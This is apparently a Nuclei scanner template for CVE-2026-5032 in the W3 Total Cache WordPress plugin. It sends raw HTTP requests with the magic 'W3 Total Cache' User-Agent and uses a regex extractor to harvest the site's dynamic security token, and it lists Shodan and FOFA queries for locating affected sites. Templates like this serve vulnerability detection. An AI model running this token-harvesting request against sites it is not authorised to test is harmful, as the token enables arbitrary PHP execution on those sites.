W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure

id: CVE-2026-5032

info:
  name: W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure
  author: prithvee07
  severity: high
  description: |
    The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.
  impact: |
    Unauthenticated attackers can leak the site's W3TC_DYNAMIC_SECURITY token, which can then be used to craft valid mfunc/mclude dynamic fragment tags and execute arbitrary PHP code on sites that have fragment caching enabled with existing dynamic fragment tags.
  remediation: |
    Update the W3 Total Cache plugin to version 2.9.4 or later.
  reference:
    - https://github.com/advisories/GHSA-fxg7-rh9m-q77p
    - https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.9.3/Generic_Plugin.php#L1016
    - https://plugins.trac.wordpress.org/changeset/3495959/w3-total-cache
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a65eb62d-847b-4f3a-848b-1290e3118c01?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-5032
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3-total-cache
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/w3-total-cache"
    fofa-query: body="wp-content/plugins/w3-total-cache"
  tags: cve,cve2026,wordpress,wp-plugin,wp,w3-total-cache,exposure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!regex("<!--\\s*(mfunc|mclude)\\s+\\S+", body)'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: W3 Total Cache

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '<!--\s*(?:mfunc|mclude)\s+\S+'

    extractors:
      - type: regex
        name: w3tc-dynamic-security
        part: body
        group: 1
        regex:
          - '<!--\s*(?:mfunc|mclude)\s+(\S+)'
# digest: 4b0a00483046022100f4bf2082542a8ea07a707a20bd0039d0ac325d9fba9501caae351719b8be2557022100fe388606d5a0854f299e1b681d85598ee7c5d9a4321410f7a9cc0c839390653a:922c64590222798bb761d5b6d8e72950